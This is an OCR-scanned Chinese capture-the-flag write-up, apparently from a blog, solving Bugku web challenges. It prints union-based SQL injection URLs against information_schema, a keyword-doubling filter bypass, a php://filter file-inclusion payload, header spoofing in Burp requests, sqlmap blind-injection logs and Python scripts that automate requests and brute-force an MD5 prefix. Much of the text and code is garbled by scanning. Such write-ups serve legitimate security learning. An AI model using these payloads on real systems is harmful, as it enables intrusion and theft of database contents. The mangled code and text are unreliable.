CTF_i&813 Web WriteUp (FFZEEH1)

B A F 2019-05-19 22:18:44 K A5 5831 e 11

FEELFE: CTE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/gq_41995976/article/details/90348633
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https://blog.csdn.net/qq_41995976
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https://blog.csdn.net/qq_41995976/category_8613911.html
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http://www.mamicode.com/info-detail-2314166.html
payload: http://123.206.31.85:10001/?a=&c=aaaaa

web9

put me a message bugku then you can zet the flag

BT
EORIRPUT— &3 B"bugku" 7 fE 3k S flag

%637 FF burpsuitedli

Durg Intrugaer Hepeater wwinaow Hep

[Target T Proxy I Spider I Scanner T Intruder T Repeater T Sequencer I Decoder T Comparer I Extender T Project options T User options TAIerts

J Intercept I HTTP history T WebSockets history I Options }

@ Request to http://123.206.31.85:3031

l Forward J [ Drop J [ Intercept is on 1 Action Comment this item

|| Raw | Headers | Hex |

GET / HITP/1.1

Host: 123.206. 31.85: 3031
Pragma: no—cache
Cache-Control: no—cache

Upgrade-Insecure-Requests: 1 Send to Spider

User-Agent: Mozilla/5.0 (Windo . BE (EHIML, like Gecko) Chrome/56.0.2924,90 Safari/537.36
2345Explorer/9. 3. 2. 17331 Do an active scan

Accept: text/html, application/| Send to Intruder Ctrl+l  ge/webp, #/4,;g=0.8

Accept-Language: zh-CH, zh;q=0.
Commection: close

Send to Repeater Ctrl+R

Send to Seauencer


http://www.mamicode.com/info-detail-2314166.html

Send to Repeater

Cache-Control: max—age=0

Upgrade-Insecure-Requests: 1

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, 1like Gecko) Chrome/56.0.2924.90 Safari/537.36
2345Exzplorer/9. 3. 2.1733

Accept:

8
Accept-Language:
Commection: close

zh—CHN, zh;q=0. 8

X EGETHRPUT KRG T A5 EEKSHEN AT

Lau - Unlimited

1 Burp Suite Professional v1.

- Temporary Project - licensed to Larn

text/htnl, application/zhtnl+znl, application/=znl ; g=0. 9, image/webp, #/4; q=0.

sET / HITP/1.1 i
Host: 123,206, 31. 85: 3031 r

by mxc

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I Project options I User options TAIerts ]

ol

Go |

Params THeaders T Hex ]

it

Target: http://123.206.31.85:3031 L/| Q|

Raw | Headers THex 1

TIP/1.1
. 206, 31, 85
W Cache-Control: max-age=0

Upgrade—Insecure—Requests: 1

HMlser—Agent: Mozilla/5.0 (Windows NT 10.0: WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/56.0.2924.90 Safari/537.36
2345Explorer/9. 3. 2. 17331

Accept:

text/html, application/zhtml+xml, application/zml;q=0. 9, inage/wehp., */*
8
Aecept-Language:
Commection: close
Content—Length: 5

Eiﬁiiill

e

3031

zh-CH, zh; g=0. 8

(2] (=] (=] (5] [Twe & ssarcn tom

Done

HTTP/1.1 200 QK

Date: Sun, 19 May 2019 13:30:31 GHMT
Server: Apache/2.4.10 (Debian)
Content—-Length: 48

S

Content—Type: text/html; charset=UTF-8
ZuxhZ3tUNZwdeHMS ZmbcbmNOOES 2 aVBUYmd zZk cwZHpYOVZ
9

0 matches

e S
v ¥

0 matches

L2 2]+ ][ 2] |Type a search term

218 bytes | 4 millis

Bl

= =N

23R\ — A baseb4 #iL 2 EHtRflag T



BE— Mcpiit Mtk Blflag T

File Edit View Go Capture Analyze Statistics Telephony Tools Help

S e EEXSE Qe+ T L /IEE QA BB X B
Filter: |tcp.stream eg 1 ~ Expression.. Clear Apply
Ma. Time Source Destination Protocol Info

Kernel 2. 6. 18-194. 15 on an x86_64
... login: ...bbuuggkkuu

Password: flag{bugkul23456}

Last login: Sun Jan 20 19:30:18 from 192. 168.31.7
[bugku@localhost 1§

Eind | Save As||Print |Entire conversation (291 bytes) ~ | (O AsCIl O EBCDIC ) Hex Dump O C Arrays @ Raw

Help Filter Qut This Stream | Close _J

web2

IFE=MZATEL AT T, HEIETREIE 112!
B25% 1850 18+63 1+ (622+2308)

IHEER: 2%

BRRIH O RT A NS AR EANT R
Fit CAk 22 H 2l python
B

import requests
import re
url = "http://123.206.31.85:10002/"
requests.session()
html = s.get(url).text
= html[82:]
= re.search('</p>',html).start()
html[ :nums]
= {'result':eval(html)}
result = s.post(url,data)

print(result.text)

FIE 4R B B R T R evalit 5 H & R 5 posti 32 B a]
BRER: <p>flag{b37debdd7bbl32c7c7f6072cd318697c}</p>

web5



1EE admin | 2#3i: 202 | —IM: ximoe

injection http://47.95.208.167:10005/

BT HRREN
FIRAE LA TE

A4 http://47.95.208.167:10005/ Pmod=read&id=1 order by 4

R4S http://47.95.208.167:10005/mod=read&id=1 order by 5

FiAF AN F B

BEHEE: http://47.95.208.167:10005/ ?mod=read&id=0 union select 1,database(),3,4
5 Elweb5

Bugku _EE%

| s

Delete

Post -- web5

3
at 4

IB3R: http://47.95.208.167:10005/ ?mod=read&id=0 union select 1,group_concat(table_name),3,4 from
information_schema.tables where table_schema='web5'

8 %flag,posts,users

Bugku _BE#

| s

Delete

Post -- flag,posts,users

3
at 4

H##flagit



BFE http://47.95.208.167:10005/ ?mod=read&id=0 union select 1,group_concat(column_name),3,4 from

information_schema.columns where table_name='flag'

Post -- flag

3
at 4

1B FBE http://47.95.208.167:10005/ *mod=read&id=0 union select 1,group_concat(flag),3,4 from flag

5 3flag

Post -- flag{320dbb1c03cdaaf29d16f9d653c88bch}

HHN RS

Username:
Password:
Submit Reset

IPZE i), IBEASRAMEIE R B, IPEHFLE.

ZREM— T WEAMER TRZbpilE BiFRk

uite Professional v1.

Burp Intruder Repeater Window Help

- Temporary Project - licensed to Larry_Lau - Unlimited by m

OsEC.VN

[Target T Proxy T Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender I Project options I User options Thlens ]

1« |2 = | ...

Go

J Raw T Params T Headers T Hex ]

Target: http://123.206.31.85:10006 Lﬂ [iJ

Iobr otrt A ey S

0 g T =

Commection:
4

text/htnl, application/zhtnl+znl, application/=zml;q=0. 9, inage/wehp

M. #/ % q=0.8

Referer: http://123.206.31.85: 10006/
Lecept-Language: zh—CH, zh; q=0. 8

Cookie: PHPSESSID=tfel35rpleppdgpflfgfobfcoiurb3uvm
close

Auser=123123&pass=123123

J Raw T Headers T Hex T HTML I Render ]

POST / HITR/1.1 " Content-Type: text/html
Host: 123.206.31.85:10008 P Comnection: close
Content—Length: 23 Content—Length: 5464
Cache-Control: max—age=0
COrigin: http://123.206. 31.85: 10008 <html>

cade-Tng Lo sSis. <head>
X-Forwarded-For: 127.0. 0.1 <titlex

T T ~TmThdows NT 10.0: WOW64) YRR B SR

AppleWebEit/537. 36 (KHTML, like Gecko) Chrome/56.0.2924.90 ftitler
Safari/537.36 2345Explorer/9.3.2.17331 </head>
Content-Type: application/z—www—form—urlencoded <hody>
Accept: ChlER I B R ET Ml

<form method="POST" autocomplete="off" >

‘prUsername: <input type="text” name="user” id="user” < p>
<prPassword: <input type="password” name="pass”

id="pass" >/ p>

<p>
<input type="submit” wvalue="Submit”/>
<input type="reset” walue="Reset”/>

./13.
- —




o

[

“FIOrmS
T e fcolor: EFF0000 Y Invalid credentials! Please
try again' P\ font >

</htul>
e =3
v v
? < + > Type a search 0 matches ? < + > | | Type a searc! 0 matches
Done 5 601 bytes | 4 miliis

REZJEEREEKS AN TRERT —2)L KNI & TUA —BIEEEbase64

Response

J Raw T Headers T Hex T HTML I Render ]

<!—= dGVzdDEyMw== —]|

L

0 matches i

i )5 RO R test123 T RER TR I — T IK 5 Nadmin TR B EMIKXAE

B Rl R R B el e R R
POST / HTTP/1.1 i Content-Type: text/html
Host: 123. 206, 31. 85: 10006 ™ Commection: close
Content—Length: 23 Content-Length: 5480
Cache—Control: maz—age=0

Origin: http://123. 206. 31. 85: 10006 <html >
Upgrade-Insecure-Requests: 1 <head>

¥-Forwarded-For: 127.0.0.1 <titler

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOWG4) B Y SR
AppleWebKit/537. 36 (KHTML, like Gecko) Chrome/36.0.2924, 90 <ftitler

Safari/537. 36 2345Explorer/9.3.2.17331 <fhead>

Content—-Type: application/z—www—Fform—urlencoded <hody>

Accept:

text/html, application/zhtml+xml, application/=ml : q=0. 9, image/webp
ks g=0, 8

Referer: http://123.206.31. 85 10006/

Aecept-Language: zh-CHN.zh;q=0.8

Coolkie: PHPSESSID=tfel23brpleppdgpilfgfobfeiurb3uvm

Commection: close

user=adminkpass=test123

<h1>EHE G i</l

<form method="POST" autocomplete="off">

<prUsername: <input type="text” name="user” id="user” </ p>
<prPassword: <input type="password” name="pass”
id="pass"><{/p>

{p?

<input type=
<input type=
<fpe

<fform>

"submit” wvalue="Submit”/>
"reset” value="Reset”/>

“font style=

MCLLA_ _diTiANSTAAL _ _Af AL ADTA S8 S L S S e



DULLoCEZL [ L2PV I SFNACSVOCUNUOJILL U F Il L oy L UL 8
<fhody>
</ html >

FII15 Blflag

web11

Chtml>
<title’
robotz
<titler
<hody>

L= S I SR TR L

We han't anything

(=R =

< body
< htmle

=

B2 J5 R B I T R XA Y
$&7~ T Arobots.txt T2 i —HR

Tzer—agent: *
Dizallow: fshell.php

RIAE A shell.php T TH

substr (md5 ), 0, B) = B9240b 25

BESREAMERMDSE I RT6 47 489240b
B pyH AR #E— TR iRE

import hashlib

def get token(txt):
ml = hashlib.md5()
ml.update(txt.encode("utf-8"))
token = ml.hexdigest()
return token
i in range(0,99999999999):
if get_token(str(i))[0@:6] == '89240b"':

print(i)

break

BRELER se124 (FABREHRIAIMASEA—FE Frlix B ERBA—F)
R 515 Flflag

web13
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R T —& LRIV JE W B kB 4Spassword F B

¥ Response Headers VIEW SOUFCE
Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=@
Connection: close
Content-Length: 259
Content-Type: text/html
Date: Sun, 19 May 2819 14:81:42 GMT

mxhZ3520TkzOWMA ZDNmOWE SMTEBND XY zZUyDaQ2YZESYzK1Mn@=

¥ Ramuact Haadars UISIAF € ALIFE A

base64 1 5 &I
flag{69939c8d3f9a7114471c528d6¢c19c952}
SRRZSEHAX ...

KT —2)UE R ZHflagl

B \AE B

K

Can yvou do it faster? you cost [199207] msec

PREEMBIE R — RIS ? fRTETE T 000D

TFRERNHE 5L pythonEMHAIRR T (1 HiX B password # Bt FIE B IR IEA —HE)

import requests

import base64

url = "http://123.206.31.85:10013/index.php"
requests.session()

html=s.get(url)

psw = html.headers['Password’]
= base64.b64decode(psw)
= {'password':str(ans)[7:39]}

res = s.post(url,data)

print(res.text)




X B 53R 8 T 1 Sk Sk B il password 7 B 11{E
SR J5 Fibase64 514

Fpost[H

MR AR Eflag T

BEMER:

<htmlx

<body style="text—alien: center;”>

<div

{img src="logo.png’ >

<p sztyle="background:url( logo.png’ ) no-repeat;”></p>
<fdivy

</baody>

<html>
flag {Fj¥ikdGnOBoIUZaFzHgj InT2Wndl3g}
p



4704 192.168.0.1 - - [13/0ct/2018:12:38:14 +0000] "GET

4785 192.168.0.1 - - [13/0ct/2018:12:38:14 +0000] "GET

4706 192.168.0.1 - - [13/0ct/2018:12:38:14 +0000] "GET

4707 192.168.0.1 - - [13/0ct/2018:12:38:14 +0000] "GET

4708 192.168.0.1 - - [13/0ct/2018:12:38:14 +0000] "GET

4709 192.168.0.1 - - [13/0ct/2018:12:38:14 +0000] "GET

4718 192.168.@.1 - - [13/0ct/2018:12:38:14 +8000] "GET

4711 192.168.@.1 - - [13/0ct/2018:12:38:14 +8000] "GET

4712 192.168.@.1 - - [13/0ct/2018:12:38:14 +8000] "GET

4713 192.168.@.1 - - [13/0ct/2018:12:38:14 +8000] "GET

4714 192.168.@.1 - - [13/0ct/2018:12:38:14 +8000] "GET

HEitlog x

4703 192.168.0.1 - - [13/0ct/2018:12:39:43 +088@] "GET /profiles/testing/testing.info HTTP/1.1" 484 518 "-" "Mozilla/5.@ (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.8.1468.0

Safari/537.36"

/Flaé.php?user‘=hencE%Q7%2@N-JD%Q@GRD%ZS"‘\ID%N%NSELECT%ZBIFHULL%ZSCAST%28secr‘et%Z@L‘«SiQBCHAR%29%2C@X2@%29%2@FRO"‘%Q@haozi.secr‘ets%2aORDER%2@BY5€20secr‘et%2aLI”\IT%2@B%2C1%29%2(1%2(1%29%29% D102--%2PpZaF
HTTP/1.1" 200 327 "-" “"sqlmap/1.2#pip (http://sqlmap.org)”

/flag.php?user=henceX27%20AND%200RD%28MID%28%285ELECTX20IFNULL%28CASTX28s ecret%20AS%20CHAR% 29%2C0x20%29%20FROM%20haozi . secrets¥200RDERX20BY%20s ecret%20L IMITX200%2C1%29%2C 2%2C1%29%29% D108 - - X PpZaF
HTTP/1.1" 200 327 "-" “"sqlmap/1.2#pip (http://sqlmap.org)”

/flag.php?user=henceX27%20AND%200RD%28MID%28%285ELECTX20IFNULL%28CASTX 285 ecret%20ASX%20CHAR% 29%2(0x20%29%20FROMX20haozi . secrets¥200RDER%20BY%20s e cret’20L IMITX200%2C1%29%2C3%2C1%29%29% D97 - - %287 aF
HTTP/1.1" 200 327 "-" “"sqlmap/1.2#pip (http://sqlmap.org)”

/flag.php?user=henceX27%20AND%200RD%28MID%28%285ELECTX20IFNULL%28CASTX28s ecret%20AS%20CHAR% 29%2C0x20%29%20FROM%.20haozi . secrets¥200RDERX20BY%20s ecret%20L IMITX200%2C1%29%2CA%2C1%29%29%3D103 - - X PpZaF
HTTP/1.1" 200 327 "-" “"sqlmap/1.2#pip (http://sqlmap.org)”

/flag.php?user=henceX27%20AND%200RD%28MID%28%285ELECT%20IFNULL%28CASTX28s ecret%20AS%20CHAR% 29%2C0x20%29%20FROM%20haozi . secrets¥200RDERX20BYX20s ecret%20L IMITX200%2C1%29%2C 5%2C1%29%29%3D123 - - % PpZaF
HTTP/1.1" 200 327 "-" “"sqlmap/1.2#pip (http://sqlmap.org)”

/flag.php?user=henceX27%20AND%200RD%28MID%28%285ELECT%20IFNULL%28CASTX28s ecret%20AS5%20CHAR% 29%2C0x20%29%20FROM%20haozi . secrets¥200RDERX20BYX20s ecret%20L IMITX200%2C1%29%2C6%2C1%29%29%3D109 - - X PpZaF
HTTP/1.1" 2@@ 327 "-" “"sqlmap/l1.2#pip (http://sqlmap.org)”

/F1ag. php?user=hence27%20AND%260RD% 28MID%28% 285 EL ECT 20T FNUL L% 28CAS T%28secret%20AS%28CHAR%29%2(8x20%29%20F ROME20haoz1 . secrets%2080RDER%20BY%20s ecret%28L IMI T%200%2C1%29%2C 7%2C 1%29%29% 097 - -%26pZaF
HTTP/1.1" 200 327 "-* “sqlmap/1.2épip (http://sqlmap.org)”

/F1ag. php?user=hence%27%20AND%260RD% 28MID3%28% 285 EL ECT20T FNULL%28CAST%28secret%20AS%28CHAR% 29%2C8x20%29% 20 FROM20haoz 1 . secrets%2B0RDER%20BY%20secre t%20L IMI T%200%2C1%29%2(8%2C 1%29%29% | D121 - -%Pp7aF
HTTP/1.1" 200 327 "-* “sqlmap/1.2épip (http://sqlmap.org)”

/F1ag. php?user=hence27%20AND%260RD% 28MID%28% 285 EL ECT20T FNULL%28CAST%28secret%20AS%28CHAR% 29%2C8x20%29% 20 FROM20haoz 1 . secrets%2B0RDER%20BY%20secret%20L IMI T%200%2C1%29%2(9%2C 1%29%29% | D105 - -%Pp7aF
HTTP/1.1" 200 327 "-* “sqlmap/1.2épip (http://sqlmap.org)”

/F1ag. php?user=hence%27%20AND%260RD% 28MID3%28% 285 EL ECT20T FNULL % 28CAST%28secret%20AS%28CHAR% 29%2C8x20%29% 20 FROM20haoz 1 . secrets%2B0RDER%20BY%20secret%20L IMI T%200%2C1%29%2C 10%2C1%29%29430121 - -#popza
HTTP/1.1" 200 327 "-* “sqlmap/1.2épip (http://sqlmap.org)”

/F1ag. php?user=hence%27%20AND%260RD% 28MID3%28% 285 EL ECT20T FNULL%28CAST%28secret%20AS%28CHAR% 29%2C8x20%29% 20 FROM20haoz 1 . secrets%2B0RDER%20BY%20secre t%20L IMI T%200%2C1%29%2C 11%2C1%29%2943097 - -%PppzaF
HTTP/1.1" 200 327 "-* “sqlmap/1.2épip (http://sqlmap.org)”
192.168.8.1 - - [13/0ct/2018:12:38:14 +0008] “GET

B [Es w oA Re

flag

HZERRlag 7 RE R — K& RENRLT
MEE T RIERJE — ML BUEA R R 7T 6E Rascii F R FRFBAT T
TRIEZX —HFR & MR — M EAR

B shenhent - iD=+

TR HEE) B\I0) BBV EEIH)

HTTP/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192,168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flas. phpTfuser=hence% 2 74%20AND%200RDS 28N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ASH 20CHARS 20% 2002 20%29% 20FRON% 20haazi. secrets%200RDERY 20BT%20secreth20LINI TH2Z00% 20 1%29% 201 1% 2C 1%259% 20% 3097 --%20pZ aF

HTTP/1. 17 200 327 “-7 "sqlmap/l. 2#pip (http://sqlmap. org)”

192, 168, 0.1 - - [13/0ct/2018:12:38:14 +0000] "GET /flag. php?user=hence%2TH20AND%200RDS 2EMIDH28%25SELECTH20IFNULLY25CAST

28zecrethZ0ASK20CHARRZ20%2C0x20%20% 20FRON%20haozi. secretsh200FDERY 20BT%205ecre th20LINI THZ00% 20 1%20%2C 12520 1N 20% 20430 104—-%20pZal

SHITPAL 17 200 327 7= “sglmap/l. 2#pip (http://sqlmap. org)”
192.188.0.1 - - [13/0c/2018:12:38:14 +0000] “GET /flag. phpfuser=henceh2T%20AND200RDS 28MID% 28%28SELECTH20TIFNULLY23CAST

28zecrethZ0ASK20CHARRZ20%2C0x20%20% 20FRON%20haozi. secretsh200RDERY 20BT%205ecre th20LINI THZ00% 20 1%20%2C 13%2C 1N20% 20%3D 10 1--%20pZal

HITRAL 17 200 327 7= “sglmap/l. 28pip (http://sqlmap. org)”

192, 168. 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flag. php7user=hence®l7%20AND%200RD% 28N I0% 234 28SELECTH20IFNULLS28CAST

M 28zecrethZ0ASKN20CHARK 2% 2C0x20%20% 20FRON%20haozl. secretsh200RDERY 20BT%205ecreth20LINI THZ00% 20 1%20% 2C 14% 20 1N 20% 20%3D 106—-%20pZal

HTTP/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

(192, 168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flag. php?user=henceh2 TH20ANDH200RDS 2EMIDH28%255ELECTH20IFHNULLS28CAST

28zecrethZ0ASK20CHARK 2% 2C0x20%20% 20FRON%20haozi. secretsh200FDERY 20ET%205ecreth 20LINI THZ00% 20 1%20% 20 15%2C 1R 20% 2043040 % 20pZalF

SHITP/1. 17 200 327 “-" “sglmap/l. 2#pip (http://sqlmap. org)”

192, 168. 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flag. php?user=hence®l7%20AND%200RD% 28N I0% 234 28SELECTH20IFNULL428CAST

K 28secreth20ASH 20CHARY 20% 20 0x 205 20% 20FRONS 20haozi . secretsh200RDERE20BY%20secrat$20LINI TH200M2C 1%20%2C 16%2C 1% 20% 20% 3057 -4 20pZ aF
JHTTRAL 17 200 327 7-7 “sqlmap/l. 2#pip (http://sqlmap. org)”

192,168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence%27%20AND%200RDS 2EM I DN 28% 28 SELECTH 20T FMULLS 28CAST
28secreth20ASH 20CHARS 20% 2002 20%29% 20FRON% 20haazi. secrets%200RDERY 20BT%20secreth20LINI TH2Z00% 20 1%29% 201 7% 20 1%259% 20% 3D54--%20pZ aF
HTTP/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192, 168.0. 1 - - [13/0ct/2018:12:38: 14 +0000] “GET /flag. phpPuser=hence%2 7%20AND200RD% 28N D% 28%285ELECTH 20T FNULL% 28CAST

28secreth20ASH 20CHARS 20% 2002 20%29% 20FRON% 20haazi. secrets%200RDERY 20BT%20secreth20LINI TH2Z00% 20 1%29% 20 18% 2C 1%259% 20% 3D53--%20pZ aF

HTTP/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192,168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence%27%20AND%200RDS 2N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ASH 20CHARS 20% 2002 20%29% 20FRON% 20haazi. secrets%200RDERY 20BT%20secreth20LINI TH2Z00% 20 1%29% 20 15% 2C 1%259% 20% 3097 --%20pZ aF

HTTP/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192,168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence%27%20AND%200RDS 2N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ASH 20CHARS 20% 2002 20%29% 20FRON% 20haozi. secrets%200RDERY 20BY%20secreth20LINI THZ00% 20 1%20% 2020% 20 1%259% 29% 3D 10 1--%20pZaF

HTTP/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192,168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence%27%20AND%200RDS 2N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ATH 20CHARS 20% 2002 20%29% 20FRON% 20haozi. secrets%200RDERY 20BY%20secreth20LINI TH2Z00% 20 1%20% 202 1% 20 1%259% 20% 3055 --%20pZ aF

HTTE/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192,168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence%27%20AND%200RDS 2N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ATH 20CHARS 20% 2002 20%29% 20FRON% 20haozi. secrets%200RDERY 20BY%20secreth20LINI TH2Z00% 20 1% 20% 2022% 20 1%259% 20% 3D53--%20pZ aF

HTTE/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192,168, 0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence%27%20AND%200RDS 2N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ATH 20CHARS 20% 2002 20%29% 20FRON% 20haozi. secrets%200RDERY 20BY%20secreth20LINI TH2Z00% 20 1%20% 2023% 20 1%259% 20% 3D54--%20pZ aF

HTTE/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192, 168.0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence% 2 7%20AND%200RDS 28N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ATH 20CHARS 20% 2002 20%29% 20FRON% 20haozi. secrets%200RDERY 20BY%20secreth20LINI TH2Z00% 20 1%20% 202 4% 20 1%259% 20% 3057 --%20pZ aF

HTTE/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

192, 168.0.1 - - [13/0ct/2018:12:38:14 +0000] “GET /flaz. phpTuser=hence% 2 7%20AND%200RDS 28N I D% 28% 28 SELECTH 20T FNULLS 28CAST
28secreth20ASH 20CHARS 20% 2002 20%29% 20FRON% 20haozi. secrets%200RDERY 20BY%20secreth20LINI THZ00% 20 1% 20% 2038% 20 1%259% 29% 3D 125--%20pZaF

HTTE/1. 17 200 327 “-" "sqlmap/l. 2#pip (http://sqlmap. org)”

E
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import re
f = open("shenhe.txt")

line = f.readline()
if linel="":
left = re.search('%3D"',1line).end()
right = re.search('--"',1line).start()
print(chr(int(line[left:right])),end="")
f.close()

SR 5 FI IE NSRS 5% J5 i ascii 8 IF B B =45 28 5 it

:_I’QE;;'_STJ'&RT: C:4UzershAdninistratoriipplatatlocal\Programs Python \Python3T-324BH &5
A . DY

flag {mayisahei 1 9AFas THAG}

¥
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SR 5] 5

http://123.206.31.85:10018/1ist.php?id=1"' 4% (FBHERHNESETR)
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http://123.206.31.85:10018/1ist.php?id=1"'union select 1,2,3--+ #4H
25 BIRBN1-1088 R 45

REWT—TF

http://123.206.31.85:10018/1ist.php?id=1"'union--+ AIR4
&IPS £ 20N

WRIERT —T KB union. select. or. and##TIET (LA RESI)
X EA PSR e

http://123.206.31.85:10018/1ist.php?id=1"'ununionion selecselectt 1,2,3--+ RINFEREES3
REIE

http://123.206.31.85:10018/1ist.php?id=0"'ununionion selecselectt 1,database(),3--+

5 3|web18
B3R

http://123.206.31.85:10018/1ist.php?id=0"'ununionion selecselectt 1,group_concat(table_name),3 from infoorrmation

schema.tables where table_schema = 'webl8'--+

vERinformation 2 fjorth Z X5
153 ctf flag
BrB

http://123.206.31.85:10018/1ist.php?id=0"'ununionion selecselectt 1,group_concat(column_name),3 from infoorrmatio

n_schema.columns where table name = 'flag'--+

#H15id flag
BEBE

http://123.206.31.85:10018/1ist.php?id=0"'ununionion selecselectt 1,group_concat(flag),3 from flag--+

FK15flag

what do you do?
flag{22b7a7c3d73d88050722b3eeb102ee45}
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import time
import hashlib
import requests

import random

def get token(src):

md5str = src
ml = hashlib.md5()
ml.update(md5str.encode("utf-8"))
token = ml.hexdigest()
return token
requests.session()
urllen = 160
while urllen==160:
url = "http://123.206.31.85:10020/?key=" + str(get_token(str(int(time.time()+1)))) + str(random.randint(e, 9
)
html = s.get(url).text
urllen = len(html)
print(url)
print(html)

urllenfy 1 FH 2 2 W7 T2 TH text2 75 4160 B 5 an SR8 A flag i B S TUH K/t 160
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& 515 tiflag

B python 3.7.0 Shell

FEile Edit Shell Debug Options Window Help

Python 3.7.0 (v3.7.0: 1bf9cch093, Jun 27 2018, 04:06:47) [M3C w. 1914 32 bit (Inte
171 on win3Z
Tvpe "copyright”, “creditz” or "license()” for more information.

H?E%EERT: C: W Uzers'\AdministratorsippDatatlocal \Programs '\ Python\Python37-325 5 H
188, p¥
http: //123. 206, 31. 85: 10020/ ?key=Rec04fbbAfhofif 44337586 cddaddfE2105
http: //123. 206, 31, 85: 10020/ ?key="Rec046bb6Eboff 4423706 cddaddf 2107
http: //123. 206. 31. 85: 10020/ ?key=Rec04fbbAfhofif 44837586 cddaddfb2102
http: //123. 206, 31, 85: 10020/ ?key="2ec(46bb6Eboff 4423706 0ddaddf 2106
http: //123. 206, 31. 85: 10020/ ?key=Rec04fbbAfhofif 44837086 cddaddfb2101
http: //123. 206, 31. 85: 10020/ ?key="Rec046bb6Eboff 4423706 cddaddf 2108
http: //123. 206. 31. 85: 10020/ ?key=Rec04fbbAfhofif 44837586 cddaddfb2107
I http: //123. 206, 31, 85 10020/ Ykey=28ec046bbhifbobf 4483706 cddaddfb2102 hy
http: //123. 206. 31. 85: 10020/ ?key=Rec04fbbAfhofif 44837586 cddaddf 2106
1wiflag {(MdEtiMeB208882019)
s
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<a href=/2/ziidan, txt domload="zidian,tzt">2 & T b ia>
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1 http: /4123 206 31 86: 10026/ index. html

i bty A7155 506 51 BB 0095/ shell phy

3 http: /123 206 31 85 10095/ check php

S EF RIE 4 shell.php
shell

fo la ge!
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http://123.206.31.85:10025/ziidan.txt
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Upload vour own png file

Image file (max 100x100): | “EIH |FESEETH
Upload!
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1'123.206.31.85:10003/?op=upload
—FIE DN R S AR iR Sd FETRRE KPurl
CIN: =3 € S e
https://www.cnblogs.com/iamstudy/articles/include_file.html

payload:http://123.206.31.85:10003/?0p=php://filter/convert.base64-encode/resource=flag
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https://www.cnblogs.com/iamstudy/articles/include_file.html
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